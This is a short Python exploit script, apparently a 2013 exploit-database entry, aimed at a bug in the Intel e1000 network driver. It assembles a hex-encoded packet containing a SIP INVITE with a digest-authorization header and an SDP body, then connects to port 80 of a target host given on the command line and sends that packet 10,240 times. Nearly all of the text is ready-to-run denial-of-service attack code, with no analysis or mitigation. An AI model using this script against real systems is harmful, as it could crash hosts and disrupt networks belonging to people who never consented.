Sanju Rashumon Intel e1000 Fuckup

# Exploit Title: Sanju Rashumon
# Date: Feb 07 2013
# Author: stnmrshx
# Bug: Intel e1000 driver fuckup

import socket
import sys

tu = "d4c3b2a1020004000000000000000000ffff0000010000000ed96e50368a01008f0400008f040000ffffffffffff00156533baac080045680481024d40004001f21a0a2916f80a29166308000fa304d20000494e56495445207369703a393431323334303030314031302e34312e32322e3939205349502f322e300d0a566961".decode('hex')
wa = "3a205349502f322e302f5544502031302e34312e32322e3234383a353036323b6272616e63683d7a39684734624b313036303232353133310d0a46726f6d3a202231313222203c7369703a6578745f31323231394031302e34312e32322e39393e3b7461673d3736323930343233300d0a546f3a203c7369703a393431323334".decode('hex')
ga = "303030314031302e34312e32322e39393e0d0a43616c6c2d49443a2039343335393431334031302e34312e32322e3234380d0a435365713a203220494e564954450d0a436f6e746163743a203c7369703a6578745f31323231394031302e34312e32322e3234383a353036323e0d0a50726f78792d417574686f72697a617469".decode('hex')
pat = "6f6e3a2044696765737420757365726e616d653d226578745f3132323139222c207265616c6d3d22617374657269736b222c206e6f6e63653d223635653435643835222c207572693d227369703a393431323334303030314031302e34312e32322e3939222c20726573706f6e73653d22386138353937376139313334356630".decode('hex')
ma = "3866346630623939323462333761343164222c20616c676f726974686d3d4d44350d0a436f6e74656e742d547970653a206170706c69636174696f6e2f7364700d0a416c6c6f773a20494e564954452c20494e464f2c20505241434b2c2041434b2c204259452c2043414e43454c2c204f5054494f4e532c204e4f544946592c".decode('hex')
nam = "2052454749535445522c205355425343524942452c2052454645522c205055424c4953482c205550444154452c204d4553534147450d0a4d61782d466f7277617264733a2037300d0a557365722d4167656e743a205965616c696e6b205349502d5432325020372e36312e302e3830616263640d0a537570706f727465643a20".decode('hex')
ju = "7265706c616365730d0a416c6c6f772d4576656e74733a2074616c6b2c686f6c642c636f6e666572656e63652c72656665722c636865636b2d73796e630d0a436f6e74656e742d4c656e6774683a203335330d0a0d0a763d300d0a6f3d2d20323030343720323030343720494e204950342031302e34312e32322e3234380d0a".decode('hex')
pan = "733d53445020646174610d0a633d494e204950342031302e34312e32322e3234380d0a743d3020300d0a6d3d617564696f203131373836205254502f415650203138203020313820392039203130310d0a613d7274706d61703a313820473732392f383030300d0a613d666d74703a313820616e6e6578623d6e6f0d0a613d72".decode('hex')
lan = "74706d61703a302050434d552f383030300d0a613d7274706d61703a313820473732392f383030300d0a613d666d74703a313820616e6e6578623d6e6f0d0a613d7274706d61703a3920473732322f383030300d0a613d7274706d61703a3920473732322f383030300d0a613d666d74703a31303120302d31350d0a613d7274".decode('hex')
luh = "706d61703a3130312074656c6570686f6e652d6576656e742f383030300d0a613d7074696d653a32300d0a613d73656e64726563760d0a".decode('hex')

sanjurashumon = tu+wa+ga+pat+ma+nam+ju+pan+lan+luh

JUTSU = sys.argv[1]
SEAL = 80
for i in range(10240):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((JUTSU,SEAL))
    s.send(sanjurashumon)
    rec = s.recv(1024)
    s.close()